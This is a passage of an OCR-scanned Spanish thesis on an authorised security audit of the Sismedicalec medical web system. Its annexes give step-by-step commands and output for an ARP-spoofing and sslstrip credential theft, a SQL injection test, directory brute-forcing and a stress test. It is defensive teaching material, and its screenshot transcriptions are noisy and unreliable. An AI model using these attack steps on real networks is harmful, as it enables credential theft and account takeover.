Document Length: 6561 bytes

Concurrency L : 100
648 seconds

6999000 bytes

6561000

215.14 [#/sec] (mean)
464.819 [ms] (mean)

Figura 4.54: Ingreso de comando para iniciar las respectivas solicitudes a la
aplicacion web.

Como se muestra en la figura 4.54 se ejecutd el comando con 1000 peticiones que
tuvieron un inicio y un final, con un nivel de concurrencia 100 y un total de 4.648
segundos para que la actividad sea ejecutada con éxito.

Se puede observar en el Anexo F, de forma detallada la realizacion de la prueba

de stress aplicada al sistema “Sismedicalec”.
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CAPITULO 5

Conclusiones y Recomendaciones

5.1. Conclusiones

» Laempresa INCOMSIS no ha realizado en ninguna ocasion una auditoria de
seguridad informatica, por lo que el presente proyecto ha sido de vital
importancia para lograr mitigar riesgos en su software.

El andlisis de vulnerabilidades informaticas es una accion necesaria para
toda empresa que desarrolle y comercialice sistemas informaéticos. Para ello
la empresa INCOMSIS, debe tener como prioridad el poder garantizar la
aplicacion de normas de seguridad en todos sus dominios y aplicativos web.

La proteccidon a las Cookies de sesién de un usuario es ineficaz lo que provoca
un alto riesgo de secuestro de sesiones.

Actualmente no poseen un mecanismo de cierre automatico al ingresar  un
usuario credenciales erroneas, lo que puede provocar riesgos y permitir
ataques de fuerza bruta.

Los objetivos planteados en el presente proyecto investigativo fueron
cumplidos con éxito mediante el analisis, explotacion y descripcion de  las
posibles soluciones para cada una de vulnerabilidades informaticas
encontradas.

Posterior a la deteccion de las vulnerabilidades existentes en la aplicacion
web, se realizé un informe dirigido al director y propietario de la organiza-
cion INCOMSIS.

5.2. Recomendaciones

= Se recomienda a la empresa realizar frecuentemente un analisis de seguridad
informatica para evitar riesgos en sus sistemas web y asi garantizar el
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correcto funcionamiento del sitio web a los usuarios, de la misma forma
poder garantizar la seguridad de envio y recepcion de los datos personales
de los usuarios de la aplicacion web.

Se sugiere el andlisis de técnicas de aseguramiento de la informacion y la
calidad de la misma, para brindar seguridad y satisfaccion a los usuarios.

Se recomienda de forma puntual el tomar en cuenta las posibles soluciones
brindadas para cada una de las vulnerabilidades detectadas y asi lograr
aminorar los riesgos en lo maximo posible.
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Anexo A

Anexo
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Universidad Téenico de Ambato

fal
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Seilora Decana:

20 mi calidml de Di V propictario de Ia organizacian IMCOMSIS, por medio de la
prevente manifiesto s usted, que la Srta, Lisheth Maring Quiroka Valarezo, portador (a) de
L2 védula deo cudania N° 2101108427, estudiante de Décimo nivel en el perfodo académico
marzo-agosto 2018, de ks Carrera de Ingenieria en Sistemas Computacionades o
Informiticos, de la Facultad de Ingenieria en Sistomas, Electrénicn ¢ Industrial, ticne mi
autorizacidn y respaldo para desarrollar en b empresa que representn, ¢ Trabgjo de
Titulacion denominado *Andlisis de vulnerabilidades de seguridad informaética,
del Sistema de Gestion Médica SISMEDICALEC, de 1a empresa INOCOMSIS”,
para lo cual designo como Tutoe Empresarial al Ing. Luis Alberto Pazmifio Mac., quien o5
consultor de Seguridad Informdticn de naestrs onganizacién,

Con estos antocedentes informo que ka realizacibn de este Trahajo de THulacion es de gran
mpottancia para In empresa, o estodiante tiene total spoyo pars su desarrollo y ejecucion,
par lo expocsto anteriormente solicito se aproche y se proceda conm el toimite
corespamlente.
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TeRno. 00 299000 - 0F $50a24 1 | Tekono: L1 S00CTME - DA77 a7 2|

www.InComsk.com - Infolincomsks.com

Figura A.1: Aprobacion por la empresa INCOMSIS para realizar el proyecto de
investigacion
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de Vulnerabilidades de Seguridad Informiitica del Sistema de Gestion Médica EC. de
Ia empresa INCOMSIS-EC CIA LTDA™, ha sido concluido de conformidad a los intereses
de la Empress
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Figura B.1: Certificado de culminacion del proyecto investigativo para la empresa
INCOMSIS



Anexo C

Anexo

Prueba de explotacion de vulnerabilidades mediante el ataque Man in the
middle, MITM

Para realizar esta practica se usa “sslstrip” como herramienta principal y estar
en la misma red local la victima y el atacante.

Como primer paso se debe conocer las ip de las tres maquinas necesarias para la
realizacion exitosa del ataque mitm

Que consta de la ip del servidor, la ip del atacante y la ip de la victima, cabe
destacar que estas maquinas deben estar dentro de una LAN.

En la figura C.1 es la ya mencionada ip del servidor que aloja el sistema web
analizado.

wlane: flags=4163<UP,BROADCAST,RUNNING,MULTICAST= mtu 1500

inet 192.168.0.109 netmask 255.255.255.0 broadcast 192.168.0.255

Figura C.2: Ip de la maquina del atacante cibernético

Como se figura C.2 es la ya mencionada ip del atacante cibernético, que para este

caso es el “hombre en el medio”.

Adaptador de Ethernet Ethernet:

Sufijo DNS especjficn para la conexidn.

Vinculo: direccién IPub local. . . = FeB@::f130:8B8cazelb?:78hbx3
Direccidn IPud : 192.168.8.182
Miscara de subred = 255255 2554
Puerta de enlace predeterminada - 172.168.8.1

Figura C.3: Ip de la victima, el objetivo de ataque

Esta maquina y su ip corresponden a un sistema operativo Windows, como se
puede observar en la figura C.3

:~# echo 1 = /proc/sys/net/ipv4/ip_forward

Figura C.4: Comando para la habilitacion de reenvio de paquetes

enpBs3: flags=4163<UP,BROADCAST, RUNNING,MULTICAST> mtu 1588

inet 192.168.8.181 netmask 255.255.255.8 broadcast 192.168.8.255

Figura C.1: Ip del servidor que contiene la aplicacion web



Segun muestra la figura C.4, se digita el comando presente, desde la maquina atacante
con ip 192.168.0.109 para hacer un reenvio de paquetes mediante ip version 4.

:~# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j

REDIRECT --to-port 8080

Figura C.5: Linea de comando para la creacion de una regla ip-tables

Como se puede ver en la figura C.5 se escribe el presente digito para la creacion
de una regla dentro del ip-tables, que es desde el puerto 80 redirigido al puerto
8080.
:~# route -n
ernel IP routing table
estination Gateway Genmask Flags Metric Ref
0.0.0.0 192.168.0. 0.0.0.0 UG 600 @

0.0.0.0 255.255.255.0 u 600 [¢]

Figura C.6: Puerta de enlace de la direccion ip del atacante

En la figura C.6 se digité el presente comando para conocer el Gateway de la red
del atacante.

8.0.1/24
nap.org ) at 2019-06-13 11:00 -05

ints match th
1 hop

Figura C.7: Escaneo de direcciones ip dentro de la LAN.

En la figura C.7 muestra el comando para verificar las ip que estan dentro de la
LAN, con ayuda de la herramienta NMAP.



Nmap scan report for 192.168.0.102
Host is up (0.00018s latency).

Not shown: 988 closed ports
PORT STATE SERVICE
135/tcp ope msrpc
139/tcp ope netbios-ssn
445/tcp ope microsoft-d
2869/tcp ope icslap
5357/tcp open wsdapi
49152/tcp ope unknown
49153/tcp ope unknown
49154/tcp ope unknown
49155/tcp ope unknown
49156/tcp ope unknown
49157/tcp ope unknown
49158/tcp unknown

s

Figura C.8: Muestra la ip de la victima, mediante el escaneo de ips

Segunda parte de el listado de ip y puertos dentro de la LAN, por medio de un
NMAP.

:~# arpspoof -1 wlan® -t 192.168.0.102 192.168.0.1
8 : arp reply 192.168.0.1
: arp reply 192.
arp reply 192
arp reply 192

8
8
8
8
8:0:27:64: 3 arp reply 192
8
8
8
8
b=

wmwmwnwn

wn

arp reply 192

arp reply 192

: arp reply 192.

: arp reply 192

arp reply 192

: arp reply 192
2: arp reply 192.168.0.

wmowmwnn

%

o el el el o e Ol B SO
w

wn

Figura C.9: Ingreso de comando para activacién del atague hombre en el medio

Segun se observa en la figura C.9 es un comando para envenenamiento de ip, que
consta de interfaz de red del atacante, wlan0O, -t por target o el objetivo,
192.168.0.102 es la maquina victima, mientras que 192.168.0.1 representa el
Gateway del atacante, el que va a escuchar el trafico de la red.

nterfaz: 192.168.8.182 —— Bx3

Direccidén de Internet Direccidn fisica
8.1 6@-36—dd-49-3a-5% dindmico
.a.181 ag-ap-27-1f-57-9f dindmico
.A.1@a%? 68-36—dd-49-3a-59 dinémico

.8.255 ff—ff—f£fff—£F—1£F estatico
.8.2 A1 -00-5e-A0-AA-A2 ati
.8.22 B1-80-5e-06-B0-16
.8.252 B1-80-5e—-B0-B0—fc
.255.258 Bi-88-5e-?f—ff—fa es
.255.255 Ef—ff—f£f—FF—FF—FF estdtico

Figura C.10: Tabla ARP desde consola en Windows

Luego de haber empezado el ataque mitm, como se mostro en la figura C.9, la figura
C.10 muestra una consulta de las ip desde la maquina de la victima lo cual permite
verificar y asegurar que el ataque esta siendo exitoso, pues como se observa la ip
192.168.0.1 y la ip 192.168.0.109 tienen la misma direccion MAC.



sslstrip ©.9 by Moxie Marlinspike running...

Figura C.11: Inicio de la herramienta para re-direccionamiento de trafico de la
red

La herramienta sslstrip viene por defecto instalada en Kali Linux, y se procede
a iniciarla se observa en la figura C.11, se usa el puerto 8080 que es el que esta
abierto y tiene como objetivo escuchar el trafico SSL de la victima.

G Google X | % LOGIN|SISMEDICAL X | +

&« Cc @ ® & www.sismedicalec.com

Ingresa tus datos

I'm not a robot

1eCAPTCHA
Privocy - Terms

Figura C.12: Paginas de navegacion de ingreso de la victima

Como ya inicio la escucha del trafico SSL de la victimay el objetivo de este ataque
es obtener las credenciales de acceso al sistema web, se espera hasta que el objetivo
abra su navegador e ingrese al aplicativo deseado en este caso es
sismedicalec.com, como se puede observar en la figura C.12



G Google X | # LOGIN|SISMEDICAL X |+

&« c @ @ & www.sismedicalec.com

Ingresa tus datos

\/ I'm not a robot

Figura C.13: Ingreso de credenciales a la aplicacion web por parte de la victima

Como la victima desconoce que en su red hay un “hombre en el medio” procede
a loguearse dentro del aplicativo ingresando su nombre de usuario y contrasefa.

+ Bienvenido | Medico X [EE

& c @ sismedicalec.com/bienvenido.ph; 3 -9 noeoe =

Medico v

Figura C.14: Ingreso exitoso al aplicativo que realizo la victima

Como el usuario de la aplicacion ingresé sus credenciales entonces se muestra una
pantalla de Bienvenida que presenta el aplicativo en su inicio.

:~# cat sslstrip.log
2019-06-13 11:16:17,998 POST Data (ocsp.pki.goog):
966cb266566uB6I6 16w PUgVVE- t06#6] cRCHAUG
2019-06-13 11:16:30,772 POST Data (ocsp.pki
hQO0OMEKOIO +6666cb266566uB61616w PhgvVe- ~GK9BHtHH: 0566
2019-06-13 11:16:31,080 POST Data (ocsp.digicert.com):
0Q000MOKOIO +6_6260' 05[]
[« 1177
(L7
ata (ocsp.pki.goog):
©Q000MOKOIO +6986cb206506ub6I0 16w, PUgVVE-16~8~0K, GubBSTIGF\BBkt

2019-06-13 11:16:37,429 POST Data (ocsp.pki.goog):
©Q000MOKOIO +8996cb269506ub8I6 10w PEgVVE-T4~0~9K, BuBeSTIGF\ BBkt
2019-06-13 11:19 470 POST Data (ocsp.digicert.com):

264 45

2019-06-13 11:21:06,163 POST Data (www.sismedicalec.com):

emails Lpassword=; -recaptcha-response=03A0LTBLT7gJ9ezXfn9GbX1GWoiQ7Ieaalo3Y859fsljimL2IRDWOmMtps
QDaepvBtwSUOSVIQrAzmWC72E3arir61yE6my2NQblHe4KKbNiYATr5k0tzq_ IYXsh756AHw_IF2zs QD712CWcDqlYHOcoSpE05XBjHWF4zx
dxTQZU75v20]1igEWAaUdXHUM-7uSADT6BLIjBIda8kE3tT d-N6nCD507d40uss0817ZyqSqZu9sDMIt Ptuv8W141HqqUH1cG28RkYdZztSP6
yQ3fN3mrpGbcbofG9s4dqHzuf5PMTggzqy6ZLglioD2jkgl7FBc_LMTjo&token=Login

Figura C.15: Captura de informacion con las credenciales de la victima



Luego de que el usuario del aplicativo ingresé al sistema con sus respectivas
credenciales, la captura de informacion que realizo la herramienta sslstrip, como
se puede observar en la figura C.15 en la parte inferior de la misma donde dice
email="?, estd el nombre del usuario y en la parte que dice password=? corresponde
a la contrasefia de dicho usuario, lo que significa que se obtuvo satisfactoriamente
las credenciales de ingreso, de la victima.

Nueva pestafa x +

C 1 # hitp://www.sismedicalec.com

Figura C.16: Navegador con la URL, para ingresar al sistema web

En la figura C.16 se observa la URL del respectivo aplicativo web, ingresada desde
el navegador del atacante.

+# LOGIN | SISMEDICAL X %

= C 0 A Noseguro | www.sismedicalec.com

Ingresa tus datos

™

1eCAPTCHA

Iniciar sesion

No soy un robot

Figura C.17: Pagina de login del sistema

Pagina de ingreso de credenciales que presenta al sistema web sismedicalec.com,
como se observa en la figura C.17



G Google X | % LOGIN|SISMEDICAL X | +

“— c o @ #& www.sismedicalec.com

Ingresa tus datos

(AL L L)

™

1eCAPTCHA
Frivay - Terme

\/ I'm not a robot

Iniciar sesion

Figura C.18: Pagina para ingreso del login en la aplicacion web

Luego de que el atacante obtuvo las credenciales procede a su respectivo ingreso
dentro del sistema web como se muestra en la figura C.18

+ Bienvenido | Medico x SR

- C {d @ Noseguro | www.sismedicalec.com

~ ' RONDILLA

envenido
. Medico

Figura C.19: Ingreso exitoso al sistema, pantalla de bienvenida

En la figura C.19 se puede observar que el ingreso de credenciales fue correcto y
desde la maquina del atacante logro6 satisfactoriamente, el robo de informacion y
acceso total al sistema.



+ Bienvenido | Medico
€)> ¢ &

x|+
[www sismedicalec.com/bienvenido.php

Q_ http://

@ . \ lenvenido
5
Tu agenda del dia de hoy

13Jueves

NO TIENE CONSULTAS PARA HOY

A, DR T

Figura C.20: Pantalla de bienvenida del sistema web

Segun muestra la figura C.20 luego de haber ingresado al sistema, el atacante

empieza a navegar dentro del aplicativo “sismedicalec.com”.



Anexo D

Anexo

Test de inyeccidn SQL, para tratar de vulnerar la posible debilidad en la aplicacion
web denominada “Possible Source Code Disclosure”

1. Acceder al navegador de su preferencia, para este caso se escogié Mozilla Firefox

@ tps sismedicalec.com,

Figura D.1: Ingreso de la URL, en el buscador Mozilla Firefox

2. Posteriormente al digitar la URL, del sistema web se muestra de la siguiente
forma.

+ LOGN | SISMEDICAL x B

&~ cC @ & sismedicslec.com

+ sismedical

Ingresa tus datos

™

TECAPTCHA
widod - Condeiaren

t INCOMSIS - yravincoirna.cor) - Todos kos derechos reservados

Figura D.2: Inicio de sesion en el aplicativo web Sismedicalec

3. En la pagina de inicio de sesion se escribe el cédigo sql para intentar ingresar
al aplicativo web sin las credenciales correspondientes



+ LOGIN|SISMEDICAL X | +

& c ® D e ./ [www sismedicalec.com
£+ Most Visited @ Offensive Security "\, KaliLinux "\ KaliDocs "\ Kali Tools ® Exploit-DB W Aircrack-ng '\ Kali Forums '\

Ingresa tus datos

‘or1'="1'

™

¢CAPTCHA

/" I'mnotarobot

Inictar sesion

acion desarrollada por INCOMSIS - www.incomsis com

Figura D.3: Ingreso de codigo para inyeccion sgl, ingresado en el aplicativo web

Como se observa en la figura D.2 se procede a ingresar el codigo sql para intentar
la inyeccion de codigo malicioso.

4. Ahora se observa el resultado después de ingresar el codigo sql, >or’1°="1" en
la parte del login del aplicativo web



+ LOGIN|SISMEDICAL X |+

= cC @ DA & htt sismedicalec.com
£+ Most Visited @ Offensive Security “§ Kali Linux "\ KaliDocs "\ Kali Tools # Exploit-DB W Aircrack-ng "\, Kali Forums “§ NetHunte

Ingresa tus datos ‘Usuario - Clave invilidos

I'mnot a robot

Aplicacion desarrollada por INCOMSIS - www Incotmsis cot - Todos los derechos reservados.

Figura D.4: Prueba de inyeccidn sql, desde el login del aplicativo web

Como se muestra en la pantalla de la figura D.3 se intenté vulnerar el inicio de
sesion mediante codigo sql, y el resultado da que no es vulnerable a inyeccién de
codigo malicioso.

5. Como no se logré ingresar mediante codigo sql, se procede a ingresar con las
credenciales de ingresa otorgadas por la empresa INCOMSIS, para verificar que
tampoco al ingresar al sistema contenga alguna vulnerabilidad de inyeccion de
codigo, por el paso de parametros.



+ Gestion de Paciente | Me X | +

y D & https://www.sismedicalec.com/signosvitalesingresar.php?id=1802025963 v B | O |
£ Most Visited @ Offensive Security '\ Kali Linux "\ KaliDocs S Kali Tools ® Exploit-DB W Aircrack-ng '\, Kali Forums “\ NetHunter '\ Kali Training @ (

RONDILLA

Datos del paciente

Paciente | 1802025963 Frecuencia respiratoria | 0

= Frecuencia Cardiaca | 0 % | x'
Peso| 0 S | Kg X
= Saturacion de oxigeno | 0 = 1%
Talla| 0 % | cm — =
Temperatura| 0 = | °C
Presion Arterial | 000/ 00 mm/Hg
Observacion

Figura D.5: Pagina de ingreso de signos vitales del paciente

En la figura D.4 se muestra una pagina web para el ingreso de signos vitales del
paciente, donde se permite paso de parametros y es posible ingresar caracteres
especiales para verificar si es vulnerable a un ataque por inyeccion sgl a
continuacion se ingresa una comilla simple, dentro de la URL, que permite paso
de parametros.

+ Gestion de Paciente |[M: X | +
< C ‘ 2, https://www.sismedicalec.com/signosvitalesingresar.phpid='1802025963 -
£ Most Visited @ Offensive Security *\ Kali Linux '\ KaliDocs '\ Kali Tools = Exploit-DB Wy Aircrack-ng '\ Kali Forums *\ NetHunter '\ Kali Training @

o
m I

RONDILLA

Medico
niclo

Datos del paciente
nici

piciiois P Frecuencia respiratoria | 0
Frecuencia Cardiaca | 0

Peso| 0 % | Kg
= Saturacion de oxigeno [ 0
Talla[ 0 S | cm
Temperatura | 0 < | °C
Presion Arterial | 000 / 00 mm/Hg
Observacion

Figura D.6: Ingreso de caracter especial en el paso de parametros de la pagina
signos vitales

Después del signo (=) igual mediante paso de pardmetros se ingresa una comilla



simple, para probar si lee el caracter adicional ingresado.

sismedicalec.com/signosvit. X | +

« c @ D# sismedicalec.com
£+ Most Visited @ Offensive Security "\ Kali Linux "\ KaliDocs '\ KaliTools = Exploit-DB W Aircrack-ng "\ }

Figura D.7: Muestra del resultado al ingresar un caracter especial > en el paso de
parametros.

Al hacer una simple prueba mediante ingreso de un caracter especial dentro de la
URL, y al no encontrar informacion relacionada mediante los pardmetros, deja la
pantalla del sistema en blanco, lo que quiere decir que no se logré recuperar
informacion de la base de datos, y con esto se confirma que el aplicativo web ha
pasado el test de inyeccion sgl, exitosamente.



Anexo E

Anexo

Procedimientos explicados paso a paso sobre la explotacion de la vulnerabilidad
“Exploracion de directorios” con la herramienta DirBuster

Para iniciar el ataque informatico se debe conocer la victima como se conoce la
URL del sitio web a atacar que es “www.sismedicalec.com”, se procede a detallar
los pasos a seguir.

com
101) 56(84) bytes of data.

L .1el): icmp 1 ttl=64
.1e1): icmp ttl=64
.1el): ttl=64

ttl=64
ttl=64
ttl=64
ttl=64
ttl=64

3 3
w hn

3

.1el1):
.1el):
.101):
.1el):
.1el1):

3 3 3
nnnn

3

ONOU b WN

3
]

Figura E.1: Terminal que incluye un comando ping, para conocer la ip del servidor
a vulnerar.

Mediante la realizacion de un ping a la pagina web se puede conocer la ip del
servidor, este proceso funciona siempre y cuando la victima y el atacante se
encuentren dentro de la misma red.

Como ya se conoce la ip de la victima en este caso es 192.168.0.101, ip del
servidor, se procede a iniciar la respectiva herramienta de explotacion, mediante
una terminal de Kali Linux.

Archivo Editar Ver Buscar Terminal Ayuda
:~# dirbuster

Starting OWASP DirBuster 1.0-RC1l

Figura E.2: Terminal en Kali Linux donde se inicia la herramienta Dirbuster, con
su respectivo comando

La siguiente figura muestra la interfaz de inicio de DirBuster.


http://www.sismedicalec.com/

OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing e e 0
File Options About Help

Target URL (eg http://example.com:80/)
|

Work Method Use GET requests only (») Auto Switch (HEAD and GET)
Number Of Threads =7} 10 Threads Go Faster
Select scanning type: ») List based brute force Pure Brute Force

File with list of dirs/files

€4 Browse | | @ List Info |

Select starting options: ») Standard start point URL Fuzz
[¥] Brute Force Dirs v Be Recursive Dir to start with |/
| Brute Force Files [ Use Blank Extension File extension [php
&) Exit | [> Start

J

Please complete the test details

Figura E.3: Pantalla de inicio de la herramienta DirBuster

El siguiente paso es colocar la ip de la victima seguido del puerto en este caso es
el puerto para paginas con https, 192.168.0.101:443, se coloca en el Target URL.

OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing (- O~ ]

File Options About Help

Target URL (eg http://example.com:80/)
https://192.168.0.101:443]

Waork Method () Use GET requests only (3) Auto Switch (HEAD and GET)
Number Of Threads =7} 1 10 Threads [ | Go Faster
Select scanning type: (%) List based brute force () Pure Brute Force

File with list of dirs/files

| [@ Browse ] [ @ List Info]

Char set |a-zA-£0-9° *| Min length l:l Max Length |:|

Select starting options: (%) standard start point  (O) URL Fuzz

Brute Force Dirs Be Recursive Dir to start with [/ |
Brute Force Files [] Use Blank Extension File extension |php |
URL to fuzz - ftest.html?url={dir}.asp

I |

Please complete the test details

Figura E.4: Pantalla de ingreso del target a escanear



Como siguiente paso se busca un archivo .txt wordlists, en el directorio que se
encuentra en DirBuster para ello se escribe en la terminal locate dirbuster.

Archivo Editar Ver Buscar Terminal Ayuda
.~# locate dirbuster]]

Figura E.5: Comando para buscar el directorio de los wordlists de DirBuster

El wordlists que se necesita para la practica es small.txt, en la figura E.6 indica el
directorio para encontrar dicho archivo luego se busca mediante interfaz dicho
directorio.

Figura E.6: Directorio de archivos de DirBuster donde se encuentra small.txt

La figura E.6 muestra el parte del directorio que contiene por defecto la
herramienta DirBuster, e indica el archivo que se necesita para esta ocasion,
small.txt

Please Select The Directory/File List You Wish To Use [ ] \

Buscar en: |3 wordlists v| || |§| |§| |E E|

[£] apache-user-enum-1.0.txt

[l apache-user-enum-2.0.txt

[ directories.jbrofuzz

[l directory-list-1.0.txt

[E] directory-list-2.3-medium.txt

[E directory-list-2.3-small.txt

B directory-list-lowercase-2.3-medium.txt

B directory-list-lowercase-2.3-small.txt

MNombre de archivo: |directory-li5t-|owercase-2.3—5ma|l.txt |

Archivos de tipo: |Todos los Archivos v|

1| | Select List | | Cancelar |

Figura E.7: Pantalla para seleccionar el directorio del archivo small.txt

En dicho directorio se encuentra el archivo que se debe elegir para que inicie el
escaneo de los directorios, luego de escoger dicho archivo la interfaz queda de la
siguiente forma:



OWASP DirBuster 1,0-RC1 - Web Application Brute Forcing @ 6 0 ,

File Options About Help

Target URL (eg http://fexample.com:80/)
https://192.168.0.101:443

Work Method () Use GET requests only () Auto Switch (HEAD and GET)

Number Of Threads () » 10 Threads [ | Go Faster

Select scanning type: (») List based brute force () Pure Brute Force

File with list of dirs/files

|/usr/share/dIrbuster/wordllsts/dlrectory-llst-Iowercase-2.3-small.txt \ @ Browsel l @ List Info]

Char set [a-2A-20-9%20 v| Min lengt! | ‘ Max Lengt! ’ ‘

Select starting options: (») Standard start point () URL Fuzz

[¥| Brute Force Dirs [v] Be Recursive Dir to start with |/ |
[v| Brute Force Files [ ] Use Blank Extension File extension |php |

URL to fuzz - ftest.htmi?url={dir}.asp

[l Extt | [> start

Please complete the test details

Figura E.8: Pantalla con los datos necesarios par iniciar el escaner de directorios.

Cuando los datos correctos han sido ingresados en la pantalla, se procede a hacer
clic en Start para que empiece el escaneo de directorios.

OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing e @ 0 .
File Options About Help

https://192.168.0.101:443/
@ Scan information]\Results - List View: Dirs: 132 Files: 578 \Results - Tree View \ /A Errors: 2

Testing for dirs in / | 0% |Z
4

Testing for files in / with extention .php I 0%
Testing for dirs in /images/ | 0%
Testing for files in /images/ with extention .php I 0%
Testing for dirs in /cgi-bin/ | 0%
Testing for files in /cgi-bin/ with extention .php I 0%
=
I N N NN e e ——
< v I Lol |
Current speed: 441 requests/sec (Select and right click for more options)
Average speed: (T) 435, (C) 440 requests/sec
Parse Queue Size: 0 Current number of running threads: 10
Total Requests: 41335/23316481 Change |
Time To Finish: 14:41:38
e 00 Pause | O] stop |
Starting dir/file list based brute forcing /css/bootstrap/fonts/stats/

Figura E.9: Inicio del escéner de directorios del sistema web, mediante la
colocacion de una ip.



Como se observa en la figura E.8 ya inicié el escaner de directorios, y se puede
observar el listado mediante consola e interfaz como se observa a continuaciéon

- 200

s - 200

ternal/ - 208

- 200

Figura E.10: Terminal donde se muestra el directorio de imagenes y archivos
incluidos en el aplicativo web

Y mediante la interfaz de DirBuster en la opcion Result-List View que muestra
752 vistas de directorios

OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing (-~ ]

File Options About Help

https://192.168.0.101:443/
@ Scan Information " Results - List View: Dirs: 152 Files: 752 ‘\Results - Tree View ', A\ Errors: 4 ',

Type ‘ Found Response | Size
Dir ! 200 6992 |~
Dir fimages/ 200 4353 [
File Jjindex.php 200 6994
File jabout.php 302 369
Dir Jjegi-binf 403 413
Dir Jjimages/logo/ 200 2272
File Jflogin.php 200 6291
Dir ficons/ 200 186
Dir faction/ 302 217
File Jjaction/findex.php 302 217
File Jjaction/login.php 302 217
Dir fimages/_notes/ 200 1111
Dir fimagesficonos/ 200 1770
Dir fimages(imagen/ 200 1328
File Jjchecklogin.php 500 396
Dir fimages/profiles/ 200 3135
File Jjimages/_notes/byincomsis.jpg.mno 200 16295
Dir jdoc/f 200 186
File Jjcategories.php 302 369+
Current speed: 0 requests/sec (Select and right click for more options)

Average speed: (T) 410, (C) 0 requests/sec

Parse Queue Size: 0 Current number of running threads: 10
Total Requests: 221657/26822763 | | Change
Time To Finish: ~
5 | [0Pause || O stop
Program paused! Jjs/Chart.js/samples/timeScale/mt/

Figura E.11: Pantalla de directorios incluidos en la opcién Resul-List View



Como se puede observar en la figura E.10 ya empez0 a listar todos los directorios
encontrados en la aplicacion web “sismedicalec”, ahora para observar la
informacion que hay en dicho directorio se hace un clic derecho sobre algin de
estos directorios que contenga una respuesta nimero 200. A continuacion se indica
lo que se debe realizar para buscar el archivo especifico.

https://192.168.0.101:443/

@ Scan Information ' Resuits - List View: Dirs: 152 Files: 752 \Results - Tree View \ [\ Errors: 4 |
! Type Found I o ] size
{Dir /egi-bin/ 203
{Dir fimages/iogo/ 200
|File flogin.php 200
Dir ficons/ 200
‘Du Jaction/ 302
|File Jaction/index.php 302
File /action/login.php 302
Dir /images/_notes/ 200
Dir fimages/iconos. 200
Dir fimages/imagen/ ggg
File /checklogin.php
or _________limages/prof = s e = 2 -200]
Ao  Open In frowser | 200

File fimages/_nd (S A
Dir /doc/ View Resgonse 250
File /categories Copy URL S
File /footer.php

5 Skip 200
Dir hsl 200
|Dir fis/jquery/ 200
Dir fishquery/al Extentions to scar »
Current speed: 0 requests/sec

Figura E.12: Pantalla de Result-List VView con un clic derecho para abrir los
archivos.

Al hacer un clic sobre el directorio que enlista las imagenes se muestran en el
navegador como se indica a continuacion.

& Parent Directory -
2289023418 f14ab88d7..> 2018-07-10 23:23 80K
HOJAFINALHORIZONTAL.png 2018-07-10 23:23 174K
HOJAFINAINVERTICAL.png 2018-07-10 23:23 177K

(23 _notes/ 2019-03-19 20:22

ajax-loader.gif 2018-07-10 23:23 3.1K
byincomsis.jpg 2018-07-10 23:23 1.8K
default.png 2018-07-10 23:23 7.4K

[ hojamembretadal.png

2018-07-10 23:23 229K
Figura E.13: Pantalla de directorios mostrados mediante un navegador web.
En la figura E.12 se puede observar lo que contiene el directorio de iméagenes de

perfil, y al hacer un clic sobre alguna de estas imagenes se muestra como tal.
Se selecciona dentro del directorio por ejemplo donde dice hojamenbretadal.png



@ £ https://192.168.0.101 /hojar tadal.png
Kali Tools = Exploit-DB '\ Kali Training @ Getting Started

-b sismedical

Figura E.14: Muestra de la imagen desde el navegador, con el nombre de
hojamembretadal

La exploracion de directorios lista, imagenes, archivos y también la ubicacién de
las paginas del sistema web, como se puede observar en la imagen E.14

+ LOGIN|SISMEDICALC X | +

c @ ® & https://192.168.0.101/login.ph R
£* Most Visited ' KaliLinux '\ Kali Tools & Exploit-DB '\ Kali Training @ Getting Started

Ingresa tus datos

Cc

Figura E.15: Pantalla desde un navegador donde muestra la interfaz de la pagina
login.php

Ataque a la vulnerabilidad “Exploracion de directorios”, realizada con éxito, los
resultados obtenidos son los esperados para el presente proyecto de investigacion.



Anexo F

Anexo

Para realizar una prueba de stress al aplicativo web, se necesitara la ayuda de una
herramienta llamada Apache Bench, la cual va a ayudar a que el test se realice con
éxito.

Como primer paso se procede a actualizar los repositorios para instalar dicha
herramienta.

:~# apt-get update

Figura F.1: Comando para actualizacion de repositorios en Kali Linux

Como segundo paso se debe instalar el paquete apache2-utils para obtener acceso
a Apache Bench.

:~# apt-get install apache2-utils

Figura F.2: Comando de instalacion de la herramienta Apache Bench

A continuacién, crea el usuario que manejara la ejecucion de actividades. No es
una buena idea ejecutar algunos de los comandos en la siguiente seccion como root

seradd -m -d /home/test -s /bin/bash -g sudo pruebas

Figura F.3: Comando para agregar un nuevo usuario y usarlo para las pruebas
de stress

A continuacion se debe ingresar como el usuario pruebas para empezar a ejecutar
los comandos con el uso de Apache Bench.

:~# su pruebas

- /roots I

Figura F.4: Comando para cambiar de usuario root a usuario pruebas

Una vez que se ingresa con este usuario se procede a ejecutar los comandos para
el test de stress



/www.sismedicalec.com/
This is ApacheBe 2. $Re : 1843412 $=>
Copyright 1996 Adam Tw = ology Ltd, http://www.zeustech.net/
Licensed to The Apache e Foundation, http://www.apache.org/

Benchmarking www.sismedicalec.com (be patient).....done

oftware:
e ostname: www.sismedicalec.com
Server Port: 443
SSL/TLS Protocol: TLSv1.2,ECDHE-RSA-AES256-GCM-SHA384, 2048, 256
Server 2y : X25519 253 bits
TLS Server Name: www.sismedicalec.com

Document Path: /
Document Length: 6561 bytes

10

0.536 seconds

100

2]

699900 bytes

656100 by

186.67 [#

53.570 [ms] (mean)

5.357 [ms] (mean, across all concurrent requests)
1275.90 [Kbytes/sec] received

Connection Times (ms)
min mean[+/-sd] median max
14. 7 119
61. : 490
: 489
515

Figura F.5: Comando para iniciar solicitudes a la aplicacion web

Para empezar la primera peticion se hace en una escala baja, como se puede
observar en la figura F.5, la misma que representa el ejecutar una prueba con
Apache Bench, donde se utiliza 100 solicitudes a la aplicacion web con una
concurrencia de 10. Y com se puede observar esta peticion se llevo con éxito  y
tomo tiempo de 536 segundos.

Ahora se inicia una peticion con rangos mas altos, tanto en solicitudes como en
concurrencia, como se puede observar en la figura F.6



:/root$ ab -n 1000 -c 100 https://www.sismedicalec.com/
This Apache ch, Versio 3 <$Revisio 1843412 $>
Copyright 1996 Adam Twiss, Ze ustech.net/
2d to The Apache Softwa o a n, http://www.apach rg/

edicalec.com (be patient)

Apache/2.4.39
W smedicalec.com

